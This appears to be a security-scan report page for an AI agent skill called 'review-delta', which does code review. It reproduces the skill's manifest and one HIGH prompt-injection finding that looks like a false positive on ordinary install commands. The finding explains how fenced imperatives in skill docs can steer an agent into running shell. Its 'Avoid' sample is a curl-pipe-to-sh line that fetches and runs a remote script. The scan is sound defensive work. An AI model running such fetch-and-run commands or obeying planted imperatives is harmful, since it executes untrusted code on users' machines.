CategoryWeightCategory scoreContribution

Securityprompt, exec, net, exfil, eval

35%

26.3 pts

Supply chainhash, typosquat, maintainer, lockfile

20%

100

20.0 pts

Maintenancestaleness, pinning, CI

15%

100

15.0 pts

TransparencySKILL.md, perms, README

15%

100

15.0 pts

Communityinstalls, verify, response

15%

100

15.0 pts

Findings & checks · 1 flagged

Securityscore 75 · 1 finding

HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · README.md

HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.

Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted

excerptREADME.md· markdown

86```bash

87# Run without a persistent install (short `crg` script; PyPI package name stays

88# better-code-review-graph, so `uvx` needs the explicit --from form)

89uvx --python 3.13 --from better-code-review-graph crg graph build --full-rebuild \

90--repo-root /path/to/repo

91uvx --python 3.13 --from better-code-review-graph crg graph stats \

92--repo-root /path/to/repo

94# Or install the console scripts (installs both `crg` and the legacy long name)

Occurrences

1 occurrence · at L86

How to fix

Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.

Delete the imperative ("run this", "execute the following") from inside the fence.
If you must show setup, label the block text (not bash) so it reads as prose, not a command.
Move any real installer into a reviewed, version-pinned script in the repo and link to it.

Avoid

```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```

Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.

Framework references

OWASPLLM01 ATLASAML.T0051

Trace & refs

ruleSS-SKILL-INJECT-FENCED-RUN-01sha25647b48d7c5e448604…rubric 365aacaView on GitHub

Supply chainscore 100 · 0 findings

✓—All supply chain checks passedNo findings in this category for the latest scan.pass

Maintenancescore 100 · 0 findings

✓—All maintenance checks passedNo findings in this category for the latest scan.pass

Transparencyscore 100 · 0 findings

✓—All transparency checks passedNo findings in this category for the latest scan.pass

Communityscore 100 · 0 findings

✓—All community checks passedNo findings in this category for the latest scan.pass

The primary manifest — the file an agent reads to learn what this artifact does.

skills/review-delta/SKILL.md · 1 file

skills/review-delta/SKILL.md2.8 KB · Markdown

name: review-delta

description: Review uncommitted changes using impact analysis. Quick local delta review with blast-radius detection.

argument-hint: "[file or function name]"

Review Delta

Perform a focused, token-efficient code review of uncommitted changes and their blast radius. Use this for quick local reviews BEFORE committing. For full branch/PR reviews, use review-pr instead.

Command surface: run the local CLI through the coding harness shell. Examples use the installed crg command; from a source checkout, prefix it with uv run. No MCP mapping is required. Use crg review --help for the command reference.

Steps

Ensure the graph is current with crg graph build --base HEAD --repo-root "<path>".

Get review context with crg review context --base HEAD --repo-root "<path>". This returns:

Changed files (auto-detected from git diff)
Impacted nodes and files (blast radius)
Source code snippets for changed areas
Review guidance (test coverage gaps, wide impact warnings, inheritance concerns)

Analyze the blast radius by reviewing the impacted_nodes and impacted_files in the JSON result. Focus on:

Functions whose callers changed (may need signature/behavior verification)
Classes with inheritance changes (Liskov substitution concerns)
Files with many dependents (high-risk changes)

Perform the review using the context. For each changed file:

Review the source snippet for correctness, style, and potential bugs
Check if impacted callers/dependents need updates
Verify test coverage with crg query query --pattern tests_for --target "<function>" --repo-root "<path>"
Flag any untested changed functions

Report findings in a structured format:

   ## Delta Review

   ### Summary
   <One-line overview of the changes>

   ### Risk Level
   - **Low**: Test-only changes, documentation, config files
   - **Medium**: Implementation changes with <5 impacted files, no public API changes
   - **High**: >5 impacted files OR public API signature/behavior change

   ### Issues Found
   - <Bugs, style issues, missing tests>

   ### Blast Radius
   - <List of impacted files/functions>

   ### Recommendations
   1. <Actionable suggestion>

Risk Level Escalation Rules

High if any of: >5 impacted files, public API signature change, public API behavior change, breaking change in exported symbols
Low if all of: only test files changed, only documentation/comments changed, only config/CI files changed
Medium: everything else

Advantages Over Full-Repo Review

Only sends changed + impacted code to the model (5-10x fewer tokens)
Automatically identifies blast radius without manual file searching
Provides structural context (who calls what, inheritance chains)
Flags untested functions automatically

review-delta-11fc9d— agent skill

Is review-delta-11fc9d safe to install?

Review Delta

Steps

Risk Level Escalation Rules

Advantages Over Full-Repo Review

Audit the pieces. Scan the whole. Decide.